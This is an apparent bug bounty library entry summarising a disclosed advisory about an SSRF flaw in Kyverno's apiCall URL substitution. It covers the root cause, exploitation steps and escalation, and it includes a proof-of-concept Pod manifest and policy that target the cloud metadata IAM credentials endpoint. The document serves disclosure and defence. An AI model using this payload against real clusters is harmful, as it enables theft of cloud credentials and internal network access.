# Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF

Kyverno's apiCall.service.url variable substitution lets authenticated users make the admission controller fetch arbitrary internal URLs, reflecting responses in admission errors.

- Payout: Research
- Severity: high
- Program: Kyverno
- Found by: scumfrog
- Disclosed: 2026-04-14
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qr4g-8hrp-c4rw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qr4g-8hrp-c4rw
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** Kyverno admission controller apiCall HTTP executor
**Root cause:** User-controlled resource fields are substituted into apiCall.service.url without URL validation, IP filtering, or redirect re-validation, and the Go HTTP client follows up to 10 redirects by default.
**Steps:**
1. Create a ClusterPolicy with `apiCall.service.url: "http://{{ request.object.metadata.annotations.target }}"`
2. Create a Pod with annotation `target: "169.254.169.254/latest/meta-data/iam/security-credentials/"`
3. `kubectl apply -f pod.yaml`
4. Read the admission error message containing the fetched response body
**How found:** Code review of the apiCall HTTP execution path noting missing URL validation, no IP filtering, default CheckRedirect, and response reflection in executor.go error handling.
**Exploitation:** Attacker with resource-creation rights annotates a Pod with an internal URL; the policy substitutes it into the apiCall URL, the controller fetches it from its privileged network position, and the body is reflected in the admission denial message returned to the attacker via kubectl.
**Escalation:** Chain with ServiceAccount token forwarding (separate report) to reach critical impact; redirect chains bypass naive filters.
**Insight:** When a policy engine supports templated outbound URLs, check whether the HTTP client's CheckRedirect is nil and whether error paths echo response bodies — that combination turns a blind SSRF into direct exfiltration via admission errors.

## Proof of concept (copied exactly from the original report)

**Malicious Pod with SSRF target annotation**

```
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-test
  annotations:
    target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
  containers:
  - name: test
    image: nginx
```

**ClusterPolicy apiCall URL with variable substitution**

```
apiCall:
  service:
    url: "http://{{ request.object.metadata.annotations.target }}"
```

**kubectl apply triggering the SSRF request**

```
kubectl apply -f pod.yaml
```

